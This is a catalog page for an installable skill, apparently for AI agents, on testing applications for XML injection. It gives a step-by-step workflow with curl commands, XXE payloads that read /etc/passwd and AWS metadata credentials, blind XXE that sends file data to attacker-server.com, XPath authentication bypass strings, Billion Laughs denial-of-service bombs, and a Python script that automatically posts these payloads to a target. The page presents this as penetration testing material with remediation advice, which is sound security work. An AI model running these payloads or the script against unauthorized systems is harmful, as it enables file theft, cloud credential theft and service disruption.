Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-SkillsFramework mappings
MITRE ATT&CK
When to Use
- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)
- During penetration testing of applications with XML parsers
- When assessing SAML-based authentication implementations
- When testing file import/export functionality that handles XML formats
- During API security testing of SOAP or XML-based web services
Prerequisites
- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)
- XMLLint or similar XML validation tools
- Understanding of XML structure, DTDs, and entity processing
- Python 3.x with lxml and requests libraries
- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)
- Sample XXE payloads from PayloadsAllTheThings repository
Workflow
Step 1 — Identify XML Processing Endpoints
# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl
# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'
# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processingStep 2 — Test for Basic XXE (File Retrieval)
<!-- Basic XXE to read local files -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- Windows file retrieval -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>
<!-- Using PHP wrapper for base64-encoded file content -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>Step 3 — Test for Blind XXE with Out-of-Band Detection
<!-- Out-of-band XXE using external DTD -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
%xxe;
]>
<root><data>test</data></root>
<!-- External DTD file (xxe.dtd hosted on attacker server) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;
<!-- DNS-based out-of-band detection -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>Step 4 — Test for SSRF via XXE
<!-- Internal network scanning via XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>
<!-- AWS metadata endpoint access -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
<!-- Internal port scanning -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>Step 5 — Test for XPath Injection
# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"
# XPath authentication bypass
curl -X POST http://target.com/login \
-d "username=' or '1'='1&password=' or '1'='1"
# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"
# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"Step 6 — Test for XML Billion Laughs (DoS)
<!-- Billion Laughs attack (use only in authorized testing) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>
<!-- Quadratic blowup attack -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>Key Concepts
| Concept | Description |
|---|---|
| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |
| Blind XXE | XXE where response is not reflected; requires out-of-band channels |
| XPath Injection | Injection into XPath queries used to navigate XML documents |
| DTD (Document Type Definition) | Declarations that define XML document structure and entities |
| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |
| SSRF via XXE | Using XXE to make server-side requests to internal resources |
| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |
| XXEinjector | Automated XXE injection and data exfiltration tool |
| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |
| xmllint | XML validation and parsing utility for payload testing |
| interact.sh | Out-of-band interaction server for blind XXE detection |
| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |
Common Scenarios
- File Disclosure — Read sensitive server files (/etc/passwd, web.config) through classic XXE entity injection in XML input fields
- SSRF to Cloud Metadata — Access AWS/GCP/Azure metadata endpoints through XXE to steal IAM credentials and access tokens
- Blind Data Exfiltration — Extract sensitive data through out-of-band DNS/HTTP channels when XXE output is not reflected
- SAML XXE — Inject XXE payloads into SAML assertions during single sign-on authentication flows
- SVG File Upload XXE — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing
Output Format
## XML Injection Assessment Report
- **Target**: http://target.com/api/xml-endpoint
- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection
- **Severity**: Critical
### Findings
| # | Type | Endpoint | Payload | Impact |
|---|------|----------|---------|--------|
| 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure |
| 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration |
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |
### Remediation
- Disable external entity processing in XML parser configuration
- Use JSON instead of XML where possible
- Implement XML schema validation with strict DTD restrictions
- Block outbound connections from XML processing servicesSource materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.7 KB
API Reference: Testing for XML Injection Vulnerabilities
XXE Payload Types
| Payload | Severity | Description |
|---|---|---|
| File read (Linux) | Critical | file:///etc/passwd entity inclusion |
| File read (Windows) | Critical | file:///c:/windows/win.ini entity |
| SSRF via HTTP | Critical | Entity fetching internal metadata URL |
| Parameter entity | High | External DTD loading via %entity |
| Billion laughs | High | Recursive entity expansion (DoS) |
| UTF-7 encoding | High | Encoding bypass for WAF evasion |
XPath Injection Payloads
| Payload | Purpose |
|---|---|
' or '1'='1 |
Boolean-based auth bypass |
'] | //user/password | //foo[' |
Data extraction via union |
1 or 1=1 |
Numeric context injection |
Detection Indicators
| Attack | Success Indicator |
|---|---|
| Linux file read | root: in response body |
| Windows file read | [fonts] or extensions in response |
| SSRF metadata | ami-id or instance-id in response |
| Billion laughs | Response time > 5 seconds |
| Content-type switch | XML accepted when JSON expected |
| SVG XXE | root: in upload response |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests |
>=2.28 | HTTP POST with XML payloads |
json |
stdlib | Report generation |
pathlib |
stdlib | Output directory management |
References
- OWASP XXE Prevention: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
- PortSwigger XXE: https://portswigger.net/web-security/xxe
- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
Scripts 1
agent.py7.6 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing XML injection vulnerabilities.
Tests web applications for XXE (XML External Entity), XPath
injection, and XML entity expansion attacks that enable file
disclosure, SSRF, and denial of service.
"""
import json
import sys
from pathlib import Path
from datetime import datetime
try:
import requests
except ImportError:
requests = None
XXE_PAYLOADS = {
"file_read_linux": '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>',
"file_read_windows": '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><root>&xxe;</root>',
"ssrf_http": '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>',
"parameter_entity": '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd">%xxe;]><root>test</root>',
"billion_laughs": '<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;">]><root>&lol3;</root>',
"utf7_encoding": '<?xml version="1.0" encoding="UTF-7"?>+ADw-!DOCTYPE foo +AFs-+ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-+AF0-+AD4-+ADw-root+AD4-+ACY-xxe+ADs-+ADw-/root+AD4-',
}
XPATH_PAYLOADS = [
"' or '1'='1",
"' or 1=1 or '",
"admin' or '1'='1",
"'] | //user/password | //foo['",
"1 or 1=1",
]
class XMLInjectionTestAgent:
"""Tests for XML injection vulnerabilities."""
def __init__(self, target_url, output_dir="./xml_injection_test"):
self.target_url = target_url.rstrip("/")
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _post_xml(self, path, xml_data, timeout=15):
if not requests:
return None
try:
return requests.post(
f"{self.target_url}{path}",
data=xml_data,
headers={"Content-Type": "application/xml"},
timeout=timeout,
)
except requests.RequestException:
return None
def _post_json(self, path, data, timeout=15):
if not requests:
return None
try:
return requests.post(
f"{self.target_url}{path}", json=data, timeout=timeout
)
except requests.RequestException:
return None
def test_xxe(self, endpoint, custom_template=None):
"""Test endpoint for XXE vulnerabilities."""
results = []
for name, payload in XXE_PAYLOADS.items():
if custom_template:
payload = custom_template.replace("PAYLOAD_HERE", payload)
resp = self._post_xml(endpoint, payload)
if not resp:
continue
indicators = {
"file_read_linux": "root:" in resp.text,
"file_read_windows": "[fonts]" in resp.text or "extensions" in resp.text.lower(),
"ssrf_http": "ami-id" in resp.text or "instance-id" in resp.text,
"parameter_entity": resp.status_code == 200,
"billion_laughs": resp.elapsed.total_seconds() > 5,
"utf7_encoding": "root:" in resp.text,
}
if indicators.get(name, False):
severity = "critical" if "file_read" in name or "ssrf" in name else "high"
results.append({
"payload": name,
"status": resp.status_code,
"response_preview": resp.text[:200],
"vulnerable": True,
})
self.findings.append({
"severity": severity,
"type": "XXE",
"detail": f"{name} successful at {endpoint}",
})
return results
def test_xpath_injection(self, endpoint, field_name="username"):
"""Test for XPath injection in search/login endpoints."""
results = []
for payload in XPATH_PAYLOADS:
data = {field_name: payload}
resp = self._post_json(endpoint, data)
if not resp:
continue
if resp.status_code == 200 and len(resp.text) > 50:
results.append({
"payload": payload,
"status": resp.status_code,
"response_length": len(resp.text),
})
self.findings.append({
"severity": "high",
"type": "XPath Injection",
"detail": f"XPath injection at {endpoint} with '{payload[:30]}'",
})
return results
def test_content_type_switch(self, endpoint, original_json=None):
"""Test if endpoint accepts XML when JSON is expected."""
payload = original_json or {"username": "test", "password": "test"}
xml_equiv = '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
xml_equiv += f'<root><username>&xxe;</username><password>test</password></root>'
resp = self._post_xml(endpoint, xml_equiv)
if resp and resp.status_code in (200, 201):
accepted = True
if "root:" in resp.text:
self.findings.append({
"severity": "critical",
"type": "Content-Type Switch XXE",
"detail": f"Endpoint {endpoint} accepts XML with XXE when JSON expected",
})
return {"accepted": accepted, "status": resp.status_code}
return {"accepted": False}
def test_svg_xxe(self, upload_endpoint, field_name="file"):
"""Test SVG file upload for XXE."""
svg_xxe = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="0" y="20">&xxe;</text>
</svg>'''
if not requests:
return {"error": "requests not available"}
try:
resp = requests.post(
f"{self.target_url}{upload_endpoint}",
files={field_name: ("test.svg", svg_xxe, "image/svg+xml")},
timeout=15,
)
if resp and "root:" in resp.text:
self.findings.append({
"severity": "critical",
"type": "SVG XXE",
"detail": f"SVG upload at {upload_endpoint} triggers XXE",
})
return {"vulnerable": True}
except requests.RequestException:
pass
return {"vulnerable": False}
def generate_report(self, endpoints=None):
xxe_results = []
if endpoints:
for ep in endpoints:
xxe_results.extend(self.test_xxe(ep))
report = {
"report_date": datetime.utcnow().isoformat(),
"target": self.target_url,
"xxe_results": xxe_results,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "xml_injection_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <target_url> [--endpoint /api/xml]")
sys.exit(1)
url = sys.argv[1]
endpoints = ["/api/xml"]
if "--endpoint" in sys.argv:
endpoints = [sys.argv[sys.argv.index("--endpoint") + 1]]
agent = XMLInjectionTestAgent(url)
agent.generate_report(endpoints)
if __name__ == "__main__":
main()
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